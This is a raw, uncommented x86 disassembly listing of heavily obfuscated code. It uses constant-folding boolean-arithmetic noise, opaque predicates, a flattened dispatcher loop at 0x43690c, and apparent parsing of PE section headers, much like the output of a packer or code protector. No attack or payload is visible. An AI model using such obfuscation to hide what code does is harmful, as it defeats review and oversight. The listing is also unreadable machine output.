mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov byte [ebp - 0x855], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x854], al
mov al, byte [ebp - 0x855]
and cl, dl
or dh, al
mov al, byte [ebp - 0x854]
or al, cl
mov cl, byte [ebp - 0x853]
xor dh, al
mov al, byte [ebp - 0x852]
or al, bh
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov dl, dh
xor dl, 0xff
and dl, 0
and dh, bh
or al, bl
or dl, dh
xor al, dl
mov byte [ebp - 0x827], al
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
mov bh, ch
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or bl, bh
or dl, dh
xor bl, dl
mov bh, 1
xor bh, 1
and bh, 1
mov dl, 1
xor dl, 1
and dl, 1
or bh, dl
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
and dl, 1
or dh, dl
mov dl, bl
and dl, bh
xor bl, bh
or dl, bl
mov bl, dh
and bl, 1
xor dh, 1
or bl, dh
mov dh, dl
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
and dl, bh
or dh, dl
xor dh, 0xff
xor bl, 0xff
mov dl, 1
xor dl, 1
or dh, bl
or dl, 1
xor dh, 0xff
and dh, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x851], al
mov bh, cl
and bh, al
mov al, bl
xor al, 0xff
and al, 0
mov byte [ebp - 0x850], al
mov al, byte [ebp - 0x851]
and bl, al
mov al, byte [ebp - 0x850]
or dl, bh
or al, bl
xor dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov bh, ah
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or al, bh
or cl, bl
xor al, cl
mov byte [ebp - 0x84f], al
mov cl, 1
xor cl, 1
and cl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0x84f]
or bl, bh
xor cl, bl
mov bl, 1
xor bl, 1
and bl, 1
mov bh, 1
xor bh, 1
and bh, 1
or bl, bh
mov bh, al
and bh, cl
xor al, cl
mov cl, byte [ebp - 0x84e]
or bh, al
mov al, bl
and al, 1
xor bl, 1
or al, bl
mov byte [ebp - 0x84d], al
mov bl, bh
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and bh, al
mov al, byte [ebp - 0x84d]
or bl, bh
xor bl, 0xff
xor al, 0xff
mov bh, 1
xor bh, 1
or bl, al
mov al, byte [ebp - 0x827]
or bh, 1
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x843], bl
mov bh, al
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
and al, bl
mov byte [ebp - 0x84c], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x84b], al
mov al, byte [ebp - 0x84c]
and bl, 1
or bh, al
mov al, byte [ebp - 0x84b]
or al, bl
xor bh, al
mov al, cl
xor al, 0xff
mov bl, bh
and bl, al
xor bh, 0xff
mov al, cl
and al, bh
or bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, dl
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov bh, dh
xor bh, 0xff
and bh, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x84a], al
and dh, al
mov al, dl
xor al, 0xff
and al, 0
mov byte [ebp - 0x849], al
mov al, byte [ebp - 0x84a]
and dl, al
mov al, byte [ebp - 0x849]
or bh, dh
or al, dl
xor bh, al
mov byte [ebp - 0x848], bh
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x847], al
and cl, dh
mov al, bh
and al, 0xff
mov byte [ebp - 0x845], al
mov al, byte [ebp - 0x848]
and al, dh
mov byte [ebp - 0x846], al
mov al, byte [ebp - 0x847]
or al, cl
mov cl, byte [ebp - 0x846]
mov byte [ebp - 0x844], al
mov al, byte [ebp - 0x845]
or al, cl
mov cl, byte [ebp - 0x844]
xor cl, al
mov al, byte [ebp - 0x843]
or dl, bh
xor dl, 0xff
or dh, 1
and dl, dh
or cl, dl
mov byte [ebp - 0x839], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov dl, al
and dl, dh
or cl, dl
mov byte [ebp - 0x83f], cl
mov dl, bl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov bh, bl
and bh, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or dl, bh
mov bh, byte [ebp - 0x83f]
or cl, dh
xor dl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
and dh, 1
or cl, dh
mov byte [ebp - 0x842], cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 1
or bh, dh
mov dh, byte [ebp - 0x842]
or cl, 1
xor bh, 0xff
and bh, cl
xor al, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x841], al
mov al, dl
xor al, 0xff
mov cl, 1
xor cl, 1
mov dh, 1
xor dh, 0
or al, cl
mov cl, byte [ebp - 0x842]
or dh, 0
xor al, 0xff
and al, dh
mov byte [ebp - 0x840], al
mov al, cl
xor al, 0xff
mov dh, bl
xor dh, al
mov al, byte [ebp - 0x841]
and dh, bl
mov bl, bh
and bl, al
xor bh, al
mov al, byte [ebp - 0x840]
or bl, bh
mov bh, al
and bh, dh
xor al, dh
or bh, al
mov al, bl
xor al, 0xff
mov dh, bh
and dh, al
mov al, byte [ebp - 0x83f]
xor bh, 0xff
and bl, bh
or dh, bl
mov byte [ebp - 0x83c], dh
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, bl
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov dh, 1
xor dh, 1
mov byte [ebp - 0x83b], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dh, 0
mov al, bl
and al, 1
mov byte [ebp - 0x83e], al
mov al, bh
and al, 0
mov byte [ebp - 0x83d], al
mov al, byte [ebp - 0x83e]
and cl, bl
or dh, al
mov al, byte [ebp - 0x83d]
or al, cl
mov cl, byte [ebp - 0x83c]
xor dh, al
mov al, byte [ebp - 0x83b]
or al, bh
xor al, 0xff
or bl, 0
and al, bl
or dh, al
xor dh, 0xff
mov al, dl
xor al, dh
and al, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x83a], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x838], al
mov al, byte [ebp - 0x83a]
or al, cl
mov cl, byte [ebp - 0x839]
mov byte [ebp - 0x837], al
mov al, byte [ebp - 0x838]
or bh, al
mov al, byte [ebp - 0x837]
xor al, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or al, dl
mov byte [ebp - 0x834], al
mov bl, cl
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
mov bh, cl
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or bl, bh
or dl, dh
xor bl, dl
mov dl, 1
xor dl, 1
xor bl, 0xff
mov dh, 1
xor dh, 0
or dl, bl
or dh, 0
xor dl, 0xff
and dl, dh
mov bl, 1
xor bl, 1
and bl, 1
mov dh, 1
xor dh, 1
and dh, 1
or bl, dh
mov bh, bl
xor bh, 0xff
mov dh, cl
xor dh, bh
and dh, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and al, bh
mov byte [ebp - 0x836], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x835], al
mov al, byte [ebp - 0x836]
and bh, 1
or cl, al
mov al, byte [ebp - 0x835]
or al, bh
xor cl, al
mov al, 1
xor al, 1
mov bh, cl
xor bh, al
mov al, byte [ebp - 0x834]
and bh, cl
xor al, 0xff
xor bl, 0xff
mov cl, 1
xor cl, 1
or al, bl
or cl, 1
xor al, 0xff
and al, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov byte [ebp - 0x831], cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov cl, dl
and cl, 0xff
and bh, dh
mov byte [ebp - 0x833], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x832], al
mov al, byte [ebp - 0x833]
or cl, al
mov al, byte [ebp - 0x832]
or bh, al
mov al, byte [ebp - 0x831]
xor cl, bh
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or cl, dl
mov dh, al
xor dh, 0xff
mov dl, cl
and dl, dh
xor cl, 0xff
and al, cl
or dl, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov dh, ch
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, dh
or al, cl
xor bl, al
mov bh, ah
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dh
or al, cl
xor bh, al
mov byte [ebp - 0x82c], bh
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov byte [ebp - 0x829], dh
mov cl, 1
xor cl, 0
mov al, bl
xor al, cl
and al, bl
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov ch, 1
xor ch, 0
mov dh, bh
xor dh, ch
mov ch, byte [ebp - 0x829]
and dh, bh
mov byte [ebp - 0x82e], dh
xor ch, 0xff
mov dh, ah
xor dh, ch
and dh, ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x82d], ch
mov bh, 1
xor bh, 0
mov ch, ah
and ch, 0
and al, bh
mov byte [ebp - 0x830], al
mov al, byte [ebp - 0x82d]
and al, 0
mov byte [ebp - 0x82f], al
mov al, byte [ebp - 0x830]
and cl, bh
or ch, al
mov al, byte [ebp - 0x82f]
or al, cl
mov cl, byte [ebp - 0x82e]
xor ch, al
mov al, byte [ebp - 0x82d]
or ah, al
mov al, byte [ebp - 0x82c]
xor ah, 0xff
or bh, 0
and ah, bh
or ch, ah
mov ah, cl
and ah, dh
xor cl, dh
or ah, cl
mov bh, ch
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bh, ch
or cl, ah
xor bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov ch, cl
and ch, 0xff
and bl, ah
mov byte [ebp - 0x82b], bl
mov bl, dh
and bl, 0xff
and al, ah
mov byte [ebp - 0x82a], al
mov al, byte [ebp - 0x82b]
or ch, al
mov al, byte [ebp - 0x82a]
or bl, al
mov al, byte [ebp - 0x829]
xor ch, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or ch, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bl, ch
or cl, ah
xor bl, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov ch, al
and ch, 0
and bh, cl
mov dh, ah
and dh, 0
and bl, cl
or ch, bh
or dh, bl
xor ch, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov dh, ch
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dh
or al, cl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
xor ch, 0xff
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or al, bh
or cl, bl
xor al, cl
xor al, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x828], ah
mov bl, dh
xor bl, 0xff
mov ch, 1
xor ch, 1
and ah, 0xff
and al, ch
mov bh, bl
and bh, 0xff
and dh, ch
or ah, al
mov al, byte [ebp - 0x828]
or bh, dh
mov dh, byte [ebp - 0x827]
xor ah, bh
or al, bl
xor al, 0xff
or ch, 1
and al, ch
or ah, al
mov ch, cl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and cl, ah
or al, cl
mov byte [ebp - 0x81c], al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov byte [ebp - 0x81d], cl
mov al, ah
xor al, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or al, bl
or dh, 1
xor al, 0xff
and al, dh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, ch
xor bl, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 0
or bl, bh
mov bh, byte [ebp - 0x81d]
or dh, 0
xor bl, 0xff
and bl, dh
mov dh, byte [ebp - 0x827]
mov byte [ebp - 0x822], bl
xor dh, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
or dh, bh
or bl, 0
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x824], dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x823], dh
mov bh, 1
xor bh, 0
mov dh, bl
and dh, 0
and al, bh
mov byte [ebp - 0x826], al
mov al, byte [ebp - 0x823]
and al, 0
mov byte [ebp - 0x825], al
mov al, byte [ebp - 0x826]
and cl, bh
or dh, al
mov al, byte [ebp - 0x825]
or al, cl
mov cl, byte [ebp - 0x824]
xor dh, al
mov al, byte [ebp - 0x823]
or bl, al
mov al, byte [ebp - 0x822]
xor bl, 0xff
or bh, 0
and bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x81e], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x81f], bh
mov bh, 1
xor bh, 0
and bl, 0
and al, bh
mov byte [ebp - 0x821], al
mov al, byte [ebp - 0x81f]
and al, 0
mov byte [ebp - 0x820], al
mov al, byte [ebp - 0x821]
and cl, bh
or bl, al
mov al, byte [ebp - 0x820]
or al, cl
mov cl, byte [ebp - 0x81f]
xor bl, al
mov al, byte [ebp - 0x81e]
or al, cl
mov cl, byte [ebp - 0x81d]
xor al, 0xff
or bh, 0
and al, bh
or bl, al
mov bh, dh
xor bh, 0xff
mov al, bl
and al, bh
xor bl, 0xff
and dh, bl
or al, dh
mov dh, ah
and dh, ch
xor ah, ch
or dh, ah
mov bh, dh
xor bh, 0xff
and bh, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or bh, ah
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, cl
and dh, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or dh, al
mov al, byte [ebp - 0x81c]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and al, ah
or cl, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov ah, 1
xor ah, 1
and ah, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ah, bl
or al, dh
xor ah, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, ah
and cl, 1
xor ah, 1
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa43f10f5
mov ecx, 0x41e8bde1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dword [ebp - 0x1a8], 0x8d71eeca
jmp 0x43690c
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov dword [eax], 0
mov dword [ebp - 0x1a8], 0x5e3ffd14
jmp 0x43690c
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x1a8], 0x83d134d5
jmp 0x43690c
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov esi, dword [eax]
mov edi, 0xffffffff
xor edi, 0x40000000
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x40000000
or edi, eax
xor edi, 0xffffffff
xor edi, 0xb2a2f5e
and edi, 0xb2a2f5e
mov ebx, 0xffffffff
xor ebx, 0xb2a2f5e
and ebx, 0x53354d26
mov ecx, 0xffffffff
xor ecx, 0x53354d26
mov edx, ecx
and edx, 0xb2a2f5e
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x53354d26
and ecx, 0xffffffff
or ebx, edx
or eax, ecx
xor ebx, eax
mov dword [ebp - 0x948], ebx
xor ebx, 0xffffffff
xor ebx, 0x40000000
and ebx, 0x40000000
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edx, eax
mov ecx, 0xffffffff
xor ecx, 0xb2a2f5e
mov eax, edx
xor eax, ecx
mov ecx, dword [ebp - 0x948]
and eax, edx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, edi
and edx, ebx
xor edi, ebx
or edx, edi
mov dword [ebp - 0x938], edx
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x93c], edx
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xb7f71c98
and edx, 0xb7f71c98
and eax, edi
mov dword [ebp - 0x944], eax
mov eax, ebx
and eax, 0xb7f71c98
mov dword [ebp - 0x940], eax
mov eax, dword [ebp - 0x944]
and ecx, edi
or edx, eax
mov eax, dword [ebp - 0x940]
or eax, ecx
mov ecx, dword [ebp - 0x93c]
xor edx, eax
mov eax, dword [ebp - 0x938]
or ecx, ebx
xor ecx, 0xffffffff
or edi, 0xb7f71c98
and ecx, edi
or edx, ecx
mov edi, eax
xor edi, 0xffffffff
mov ecx, edx
and ecx, edi
xor edx, 0xffffffff
and eax, edx
or ecx, eax
mov edi, esi
xor edi, 0xffffffff
and edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
mov eax, esi
and eax, edx
or edi, eax
mov eax, ecx
xor eax, 0xffffffff
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x48588acc
or eax, edi
or edx, 0x48588acc
xor eax, 0xffffffff
and eax, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
and ecx, edi
or edx, ecx
xor edx, 0xffffffff
mov ecx, esi
xor ecx, edx
and ecx, esi
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov ebx, edx
xor ebx, 0xffffffff
and ebx, 0xc78115fe
mov ecx, 0xffffffff
xor ecx, 0xc78115fe
and edx, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xc78115fe
and ecx, 0xffffffff
or ebx, edx
or eax, ecx
xor ebx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x987beb58
mov edx, 0xffffffff
xor edx, 0x987beb58
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x987beb58
and edx, 0xffffffff
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x8bf4da97
and ecx, 0x7bbb4d93
mov esi, 0xffffffff
xor esi, 0x7bbb4d93
mov edi, esi
and edi, 0x8bf4da97
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x7bbb4d93
and esi, 0xffffffff
or ecx, edi
or edx, esi
xor ecx, edx
mov dword [ebp - 0x92c], ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfd12e0d2
mov edi, ecx
and edi, 0xfd12e0d2
and ebx, edx
mov dword [ebp - 0x934], ebx
mov ebx, esi
and ebx, 0xfd12e0d2
and eax, edx
mov dword [ebp - 0x930], eax
mov eax, dword [ebp - 0x934]
or edi, eax
mov eax, dword [ebp - 0x930]
or ebx, eax
mov eax, dword [ebp - 0x92c]
xor edi, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xfd12e0d2
and ecx, edx
or edi, ecx
mov ecx, 0xffffffff
xor ecx, 0x8bf4da97
mov dword [ebp - 0x920], ecx
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9a4e70e3
and ecx, 0x9a4e70e3
mov ebx, edx
and ebx, 0x8bf4da97
mov dword [ebp - 0x928], ebx
mov ebx, esi
and ebx, 0x9a4e70e3
and eax, edx
mov dword [ebp - 0x924], eax
mov eax, dword [ebp - 0x928]
or ecx, eax
mov eax, dword [ebp - 0x924]
or ebx, eax
mov eax, dword [ebp - 0x920]
xor ecx, ebx
or eax, esi
xor eax, 0xffffffff
or edx, 0x9a4e70e3
and eax, edx
or ecx, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x3de4afa6
mov esi, 0xffffffff
xor esi, 0x3de4afa6
and edi, esi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x3de4afa6
and esi, 0xffffffff
or eax, edi
or edx, esi
xor eax, edx
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xe4f1e45
mov ecx, 0x489c75e3
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1a8], 0x58d4ea03
jmp 0x43690c
mov eax, dword [ebp - 0x12c]
mov dword [eax], 4
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
mov edx, eax
sub edx, 0x82f1a328
sub edx, 0x4e4fc585
add edx, 0x82f1a328
sub edx, 0xa9937c0f
sub edx, 0x27681ed0
add edx, 0xa9937c0f
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x4e4fc585
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x709c643d
sub esi, 1
add esi, 0x709c643d
add edx, 0xd6881872
add edx, esi
sub edx, 0xd6881872
xor esi, esi
sub esi, 0x27681ed0
add esi, 0
sub edx, 0xd7b40939
sub edx, esi
add edx, 0xd7b40939
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
mov byte [ebp - 0xb07], ah
cmp ecx, 0xa
setl dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, dh
and al, ah
or dl, al
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
or al, ah
mov bl, cl
and bl, dl
xor cl, dl
or bl, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
mov bh, ah
and bh, 0
mov byte [ebp - 0xb09], bh
mov bh, ch
and bh, 0xff
and al, ah
mov byte [ebp - 0xb08], al
mov al, byte [ebp - 0xb09]
or dl, al
mov al, byte [ebp - 0xb08]
or bh, al
mov al, byte [ebp - 0xb07]
xor dl, bh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, bl
or ah, ch
xor cl, ah
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov bl, al
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, bl
or cl, dl
xor ch, cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov dl, 1
xor dl, 1
or cl, ch
or dl, 1
xor cl, 0xff
and cl, dl
mov bl, 1
xor bl, 1
and bl, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or bl, bh
or dl, ch
xor bl, dl
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov ch, dh
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov dl, dh
and dl, bh
or ch, dl
mov bh, 1
xor bh, 1
mov dl, ch
xor dl, bh
and dl, ch
xor bl, 0xff
mov ch, dh
xor ch, bl
and ch, dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xb05], bh
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and bh, 0
mov byte [ebp - 0xb06], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xb04], al
mov al, byte [ebp - 0xb06]
or al, cl
mov cl, byte [ebp - 0xb05]
mov byte [ebp - 0xb03], al
mov al, byte [ebp - 0xb04]
or bh, al
mov al, byte [ebp - 0xb03]
xor al, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
mov ch, cl
and ch, dl
xor cl, 0xff
and al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0xaff], al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov dl, ch
and dl, dh
or cl, dl
mov byte [ebp - 0xb00], cl
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or bh, bl
or dl, dh
xor bh, dl
mov dh, 1
xor dh, 0
mov dl, al
xor dl, dh
and dl, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov al, 1
xor al, 1
or ah, dh
or al, 1
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 0
mov al, cl
xor al, dh
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, dl
and ah, 0xff
and al, dh
